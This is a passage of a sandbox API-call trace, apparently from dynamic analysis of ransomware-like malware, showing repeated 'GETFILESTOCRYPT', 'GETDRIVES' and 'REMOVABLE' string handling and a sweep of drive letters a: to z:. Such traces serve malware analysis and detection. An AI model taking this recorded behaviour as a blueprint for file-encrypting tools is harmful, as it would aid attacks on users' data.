lpsz="removable") returned 0x9 [0086.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.770] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.770] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.770] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.770] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.770] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.770] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.771] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.771] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.771] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.771] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.771] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.771] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.771] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.771] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.771] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.772] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.772] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.772] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.772] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.772] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.772] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.772] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.773] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.773] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.773] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.773] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.773] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.773] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.773] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.774] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.774] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.774] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.774] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.774] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.774] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.774] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.774] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.774] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.775] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.775] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.775] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.776] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.776] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.776] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.776] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.776] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.776] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.776] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.777] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.777] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.777] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.777] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.777] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.777] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.777] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.777] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.778] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.778] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.778] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.778] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.778] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.778] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.778] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.778] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.778] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.778] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.778] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.779] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.779] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.779] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.779] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.779] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.779] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.779] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.779] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.779] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.779] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.780] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.780] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.780] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.781] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.781] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.781] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.781] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.782] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.782] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.782] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.782] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.803] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.803] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.804] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.804] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.804] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.805] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.806] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.806] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.806] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.807] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.807] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.808] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.808] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.808] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.808] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.808] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.809] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.809] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.809] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.809] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.809] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.809] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.810] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.810] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.810] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.810] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.811] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.811] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.811] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.812] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.812] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.812] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.812] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.384] TranslateMessage (lpMsg=0x130f204) returned 0 [0087.384] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0087.384] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0087.388] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0087.388] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0087.388] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.388] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.388] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.388] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.388] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.388] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.388] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0087.389] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.389] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.389] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.389] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0087.389] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.389] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.389] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.389] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0087.389] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.389] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0087.389] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0087.389] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0087.389] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0087.389] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0087.390] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0087.391] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0087.392] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0087.392] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0087.392] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0087.392] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0087.392] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0087.392] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0087.392] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.392] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.392] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0087.392] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.393] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0087.393] CharUpperBuffW (in: 